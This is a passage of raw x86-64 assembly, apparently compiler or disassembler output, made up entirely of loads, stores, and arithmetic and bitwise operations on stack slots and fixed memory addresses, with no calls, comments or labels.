mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov qword [rsp + 0xd110], rax
mov rax, qword [rsp + 0xab38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x52b4], eax
mov rax, qword [rsp + 0xa288]
mov eax, dword [rax]
mov dword [rsp + 0x5534], eax
mov rax, qword [rsp + 0xc710]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc6a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc200], ax
mov rax, qword [rsp + 0xcef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9478]
mov word [rcx], ax
movsx eax, byte [0x1401cc0ca]
mov rcx, qword [rsp + 0x9fb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
movzx eax, byte [rsp + 0x39e]
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0xbd98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15d0]
add eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c60]
mov qword [rsp + 0xd118], rax
mov rax, qword [rsp + 0x95e0]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc858]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5500]
mov dword [rsp + 0x5538], eax
mov rax, qword [rsp + 0xbd80]
movzx ecx, al
mov rax, qword [rsp + 0x8520]
sar rax, cl
mov rcx, qword [rsp + 0x9450]
mov qword [rcx], rax
lea rax, [rsp + 0x294]
mov qword [0x1401cdf80], rax
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x178c]
shl eax, cl
mov word [rsp + 0xf18], ax
mov rax, qword [0x1401cdb88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbcf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ab0]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x16ec], ax
movzx eax, word [rsp + 0x1a94]
mov word [rsp + 0x1bf0], ax
mov rax, qword [rsp + 0x8600]
mov rcx, qword [rsp + 0xcb78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb618]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9660]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc600], rax
lea rax, [rsp + 0x53d0]
mov qword [rsp + 0xd120], rax
mov rax, qword [rsp + 0x9290]
mov ecx, dword [rsp + 0x5070]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9320]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2d5]
movzx ecx, byte [rsp + 0x256]
add eax, ecx
mov rcx, qword [0x1401cda40]
mov byte [rcx], al
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xcd28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaee8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb1b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1a8c]
movsx ecx, word [rsp + 0x1890]
sub eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0xbeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0xa130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa8c8], rax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xb4a8]
mov ecx, dword [rsp + 0x4acc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc030]
mov dword [rcx], eax
lea rax, [rsp + 0x52f0]
mov qword [rsp + 0xd130], rax
lea rax, [rsp + 0x18b0]
mov qword [0x1401cdf88], rax
mov rax, qword [rsp + 0xa0e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcda8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x312], al
mov rax, qword [rsp + 0xcc98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x259]
sub eax, ecx
mov byte [rsp + 0x27f], al
lea rax, [rsp + 0x1690]
mov qword [rsp + 0xd138], rax
movsx eax, word [rsp + 0x1908]
mov rcx, qword [rsp + 0xc9a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe40]
mov word [rcx], ax
mov rax, qword [rsp + 0x9978]
mov rax, qword [rax]
mov qword [rsp + 0xd140], rax
mov rax, qword [rsp + 0x9320]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5328]
sar eax, cl
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9aa0]
mov rcx, qword [rsp + 0xa130]
mov qword [rsp + 0xd148], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd148]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8ad0], rax
mov eax, dword [rsp + 0x4e98]
mov dword [rsp + 0x553c], eax
mov rax, qword [rsp + 0x93b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb120]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401cd7dd], al
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
mov rcx, qword [0x1401cdc88]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x19c4], ax
mov rax, qword [rsp + 0x9ac8]
movzx eax, byte [rax]
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0x9c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b10]
and eax, ecx
mov rcx, qword [rsp + 0xcd80]
mov word [rcx], ax
movzx eax, word [rsp + 0x1864]
movzx ecx, word [rsp + 0x1850]
sub eax, ecx
mov word [rsp + 0x14cc], ax
mov eax, dword [rsp + 0x4ab4]
mov dword [rsp + 0x5540], eax
mov rax, qword [rsp + 0xb300]
mov ecx, dword [rsp + 0x51a4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa660]
mov dword [rcx], eax
lea rax, [rsp + 0xc658]
mov qword [rsp + 0xd150], rax
mov rax, qword [rsp + 0xa378]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa5b0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0xc758]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0df], al
mov rax, qword [rsp + 0xb8a0]
movsx eax, word [rax]
movsx ecx, word [0x1401cc100]
add eax, ecx
mov rcx, qword [rsp + 0xab48]
mov word [rcx], ax
mov rax, qword [rsp + 0xac70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1530]
and eax, ecx
mov word [rsp + 0x1274], ax
movzx eax, byte [rsp + 0xf1]
mov rcx, qword [0x1401cdc00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x25c]
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0x9db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaef0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa830], rax
lea rax, [rsp + 0x50d8]
mov qword [rsp + 0xd158], rax
mov eax, dword [rsp + 0x5320]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x532c], eax
mov rax, qword [rsp + 0xc4b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa358]
mov qword [rsp + 0xd160], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd160]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcd88], rax
mov rax, qword [rsp + 0xa348]
movzx eax, word [rax]
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x398]
or eax, ecx
mov byte [0x1401cc0aa], al
movsx eax, word [rsp + 0x1174]
mov rcx, qword [rsp + 0xa868]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0x9c90]
movzx eax, byte [rax]
mov byte [rsp + 0x3a7], al
mov rax, qword [rsp + 0xb450]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16b4]
sar eax, cl
mov rcx, qword [rsp + 0xba48]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb08]
mov rcx, qword [rsp + 0xca80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x541c], eax
lea rax, [rsp + 0x8018]
mov qword [rsp + 0xd168], rax
mov rax, qword [rsp + 0xbf88]
mov rcx, qword [rsp + 0xa458]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0xa218]
mov eax, dword [rax]
mov dword [rsp + 0x5544], eax
movzx eax, byte [rsp + 0x38b]
mov rcx, qword [rsp + 0xb8b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1db], al
lea rax, [rsp + 0x1a30]
mov qword [0x1401cdf90], rax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbd18]
mov byte [rcx], al
movzx eax, byte [rsp + 0x334]
mov byte [rsp + 0x3a8], al
mov rax, qword [0x1401cdc60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa98]
mov word [rcx], ax
lea rax, [rsp + 0x550c]
mov qword [rsp + 0xd170], rax
mov rax, qword [rsp + 0x9440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5078], eax
lea rax, [0x1401cc028]
mov qword [rsp + 0xd178], rax
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa400]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc970]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a9c]
add eax, ecx
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xc880]
movzx eax, byte [rax]
mov byte [0x1401cd8fb], al
movzx eax, word [rsp + 0x1b28]
mov word [rsp + 0x1bfc], ax
movzx eax, byte [rsp + 0x364]
mov rcx, qword [rsp + 0xb950]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov byte [rcx], al
lea rax, [0x1401cc084]
mov qword [rsp + 0xd180], rax
mov rax, qword [rsp + 0xcce0]
mov rcx, qword [rsp + 0xaa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8100], rax
mov rax, qword [rsp + 0x9480]
mov rcx, qword [rsp + 0xd178]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbd68], rax
lea rax, [rsp + 0x482c]
mov qword [rsp + 0xd188], rax
mov rax, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0x9598]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
lea rax, [rsp + 0x2d8]
mov qword [rsp + 0xd190], rax
mov rax, qword [rsp + 0x9940]
movsx eax, byte [rax]
mov rcx, qword [0x1401cdb88]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cc0c3], al
mov rax, qword [rsp + 0xc690]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a20]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17a0], ax
mov rax, qword [rsp + 0x9fc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x194c]
sub eax, ecx
mov word [rsp + 0x1710], ax
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0xd198], rax
movsx eax, byte [rsp + 0x283]
movsx ecx, byte [rsp + 0x38c]
and eax, ecx
mov rcx, qword [rsp + 0xc5b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov dword [rsp + 0x5548], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x83f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb590]
mov qword [rcx], rax
lea rax, [rsp + 0x4ee0]
mov qword [rsp + 0xd1a0], rax
lea rax, [0x1401cc1c8]
mov qword [0x1401cdf98], rax
movzx eax, word [rsp + 0x1540]
movzx ecx, word [rsp + 0x1bf8]
add eax, ecx
mov rcx, qword [rsp + 0xc508]
mov word [rcx], ax
mov rax, qword [rsp + 0xb5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x3a9], al
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [0x1401cc08a]
sub eax, ecx
mov byte [rsp + 0x299], al
movzx eax, byte [rsp + 0x3a3]
movzx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xc458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5160]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ec], eax
mov rax, qword [rsp + 0xc648]
mov rcx, qword [rsp + 0x9520]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc960]
mov qword [rcx], rax
lea rax, [rsp + 0x524c]
mov qword [rsp + 0xd1a8], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb418], rax
movsx eax, word [rsp + 0x18d0]
mov rcx, qword [rsp + 0xb390]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401cdc20]
mov word [rcx], ax
lea rax, [rsp + 0x336]
mov qword [rsp + 0xd1b0], rax
movsx eax, word [rsp + 0x1a44]
movsx ecx, word [rsp + 0x1268]
xor eax, ecx
mov word [rsp + 0x14e8], ax
movzx eax, word [rsp + 0x183c]
mov rcx, qword [rsp + 0xa7c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14d4], ax
movzx eax, byte [rsp + 0x2a7]
mov byte [rsp + 0x3aa], al
mov rax, qword [rsp + 0xb6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x550c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9280]
mov dword [rcx], eax
lea rax, [rsp + 0x8b40]
mov qword [rsp + 0xd1b8], rax
mov eax, dword [rsp + 0x50f0]
mov ecx, dword [rsp + 0x4e94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5324], eax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9bc0], rax
mov rax, qword [rsp + 0xaaa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
and eax, ecx
mov byte [0x1401cd842], al
mov rax, qword [rsp + 0xc010]
movzx eax, word [rax]
mov word [rsp + 0x1c00], ax
movsx eax, byte [0x1401cc0b7]
mov rcx, qword [rsp + 0xc4c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc578]
movzx eax, word [rax]
mov word [rsp + 0x1c04], ax
movzx eax, word [rsp + 0x1b10]
mov rcx, qword [rsp + 0xce30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1520], ax
mov rax, qword [rsp + 0xbb58]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd178]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc9f0]
mov rax, qword [rax]
mov qword [rsp + 0xd1c0], rax
mov rax, qword [rsp + 0xcf88]
mov rcx, qword [rsp + 0xaf70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5294], eax
mov rax, qword [rsp + 0xb1c0]
mov eax, dword [rax]
mov dword [rsp + 0x554c], eax
movsx eax, byte [rsp + 0x33f]
movsx ecx, byte [rsp + 0x38a]
add eax, ecx
mov byte [0x1401cc0e2], al
movzx eax, word [rsp + 0x1550]
movzx ecx, word [rsp + 0x1930]
add eax, ecx
mov rcx, qword [rsp + 0x9568]
mov word [rcx], ax
mov rax, qword [rsp + 0xc3d8]
movzx eax, byte [rax]
mov byte [rsp + 0x3ab], al
movsx eax, word [rsp + 0x1758]
mov rcx, qword [rsp + 0xa5d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ad0], ax
mov rax, qword [rsp + 0xa7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x292], al
lea rax, [rsp + 0x4f5c]
mov qword [rsp + 0xd1c8], rax
mov rax, qword [rsp + 0x9958]
mov rcx, qword [rsp + 0xc718]
mov qword [rsp + 0xd1d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb690], rax
mov rax, qword [rsp + 0xbcb0]
mov eax, dword [rax]
mov dword [rsp + 0x5550], eax
mov rax, qword [rsp + 0x8458]
movzx ecx, al
mov rax, qword [0x1401cc020]
shl rax, cl
mov rcx, qword [rsp + 0xca40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ea8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a0c]
or eax, ecx
mov word [0x1401cc210], ax
movzx eax, byte [rsp + 0x27c]
mov rcx, qword [rsp + 0xb9e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2ec], al
movzx eax, word [rsp + 0x14cc]
mov word [rsp + 0x1c08], ax
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x215]
and eax, ecx
mov rcx, qword [rsp + 0xb838]
mov byte [rcx], al
lea rax, [rsp + 0x27e]
mov qword [rsp + 0xd1d8], rax
mov rax, qword [rsp + 0xb990]
mov ecx, dword [rsp + 0x54a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x542c], eax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc598]
mov dword [rcx], eax
lea rax, [rsp + 0xc3b0]
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa640]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa118], rax
mov rax, qword [rsp + 0xb498]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc144], ax
movzx eax, word [rsp + 0x164c]
mov rcx, qword [rsp + 0x9d58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1204], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16d4]
sub eax, ecx
mov rcx, qword [rsp + 0xb008]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a50]
mov word [rsp + 0x1c0c], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36e], al
mov rax, qword [rsp + 0xb8d0]
mov rcx, qword [rsp + 0xae10]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4eb4]
mov dword [rsp + 0x5554], eax
mov rax, qword [rsp + 0xbc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c00]
mov qword [rsp + 0xd1e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb460], rax
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
mov dword [rsp + 0x5558], eax
lea rax, [rsp + 0x17d8]
mov qword [0x1401cdfa0], rax
movzx eax, word [rsp + 0x18b8]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa7c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x203]
movsx ecx, byte [rsp + 0x379]
or eax, ecx
mov rcx, qword [rsp + 0xb900]
mov byte [rcx], al
lea rax, [rsp + 0x294]
mov qword [rsp + 0xd1f0], rax
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb7d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9900]
mov byte [rcx], al
lea rax, [rsp + 0x5234]
mov qword [rsp + 0xd1f8], rax
mov rax, qword [rsp + 0x99a0]
mov rcx, qword [rsp + 0x9dc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x93d0], rax
mov rax, qword [rsp + 0xbc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ad0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb538]
mov qword [rcx], rax
mov eax, dword [rsp + 0x527c]
mov dword [rsp + 0x555c], eax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb260]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65], al
movzx eax, word [rsp + 0x1510]
mov rcx, qword [rsp + 0xb4e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc150], ax
lea rax, [rsp + 0x324]
mov qword [rsp + 0xd200], rax
movsx eax, word [rsp + 0x18fc]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [0x1401cdc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x339]
and eax, ecx
mov byte [rsp + 0x2f6], al
lea rax, [rsp + 0x5530]
mov qword [rsp + 0xd208], rax
mov eax, dword [rsp + 0x4f70]
mov ecx, dword [rsp + 0x54d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5368], eax
lea rax, [rsp + 0x9068]
mov qword [rsp + 0xd210], rax
mov rax, qword [rsp + 0xb6b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaef0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd178]
mov qword [rcx], rax
lea rax, [rsp + 0x1508]
mov qword [rsp + 0xd218], rax
lea rax, [0x1401cd7de]
mov qword [0x1401cdfa8], rax
movzx eax, word [rsp + 0x19fc]
movzx ecx, word [rsp + 0x166c]
sub eax, ecx
mov word [rsp + 0x12d8], ax
mov rax, qword [rsp + 0xbcc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd040]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc7b0]
mov word [rcx], ax
lea rax, [0x1401cda28]
mov qword [rsp + 0xd220], rax
mov eax, dword [rsp + 0x5414]
mov ecx, dword [rsp + 0x5140]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x508c], eax
lea rax, [rsp + 0x4f24]
mov qword [rsp + 0xd228], rax
mov rax, qword [rsp + 0x9020]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcdc0]
shr rax, cl
mov rcx, qword [rsp + 0xd168]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0x9450]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8b60], rax
movzx eax, byte [rsp + 0x323]
mov byte [rsp + 0x3ac], al
movsx eax, word [0x1401cc12c]
movsx ecx, word [rsp + 0x1b08]
cdq
idiv ecx
mov word [0x1401cdd10], ax
mov rax, qword [rsp + 0xbdd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27e]
shl eax, cl
mov rcx, qword [rsp + 0xaf98]
mov byte [rcx], al
lea rax, [rsp + 0x2cb]
mov qword [rsp + 0xd230], rax
movzx eax, word [0x1401cc150]
movzx ecx, word [rsp + 0x1928]
and eax, ecx
mov word [rsp + 0x1808], ax
mov rax, qword [rsp + 0xad40]
mov rcx, qword [rsp + 0xb538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa598]
mov qword [rcx], rax
lea rax, [rsp + 0x4f08]
mov qword [rsp + 0xd238], rax
mov rax, qword [rsp + 0xb078]
mov ecx, dword [rsp + 0x4828]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f84], eax
mov rax, qword [rsp + 0xa2e0]
mov rax, qword [rax]
mov qword [rsp + 0xd240], rax
movsx eax, byte [rsp + 0x387]
mov rcx, qword [rsp + 0xbda8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x28b], al
movzx eax, word [rsp + 0x1af0]
mov word [0x1401cdfb0], ax
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x3ad], al
mov rax, qword [rsp + 0xc158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb8a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a74], ax
movzx eax, byte [rsp + 0x2f6]
mov rcx, qword [rsp + 0x91d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x315], al
lea rax, [rsp + 0x1980]
mov qword [rsp + 0xd248], rax
mov rax, qword [rsp + 0xa648]
mov rcx, qword [rsp + 0xd150]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e68], rax
lea rax, [rsp + 0x4ea4]
mov qword [rsp + 0xd250], rax
mov eax, dword [rsp + 0x4fb8]
mov ecx, dword [rsp + 0x4b18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0xc2d8]
mov rcx, qword [rsp + 0xc960]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcfd8], rax
mov rax, qword [0x1401cd870]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc480]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdb20]
mov byte [rcx], al
movzx eax, byte [rsp + 0x14d]
mov byte [rsp + 0x3ae], al
mov rax, qword [rsp + 0xc288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1728]
or eax, ecx
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
lea rax, [rsp + 0xf44]
mov qword [rsp + 0xd258], rax
movsx eax, word [rsp + 0x1554]
mov rcx, qword [rsp + 0xc920]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcd50]
mov word [rcx], ax
mov eax, dword [rsp + 0x5250]
movzx ecx, al
mov eax, dword [rsp + 0x4eb8]
shl eax, cl
mov rcx, qword [rsp + 0xd1a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5280]
mov dword [rsp + 0x5560], eax
mov rax, qword [rsp + 0xb890]
mov rcx, qword [rsp + 0xaf40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc368], rax
mov rax, qword [rsp + 0xbd90]
mov rcx, qword [rsp + 0xd020]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8890], rax
movsx eax, byte [rsp + 0x2d2]
mov rcx, qword [rsp + 0xc8e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc072], al
mov rax, qword [rsp + 0xcbc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37b]
sub eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b84]
add eax, ecx
mov word [rsp + 0x17ac], ax
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
mov word [rsp + 0x1c10], ax
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd198]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov byte [rcx], al
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xd260], rax
mov rax, qword [rsp + 0xd158]
mov ecx, dword [rsp + 0x54a4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad88]
mov dword [rcx], eax
lea rax, [rsp + 0xb7f0]
mov qword [rsp + 0xd268], rax
mov rax, qword [rsp + 0xc2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x536c]
sub ecx, eax
mov eax, ecx
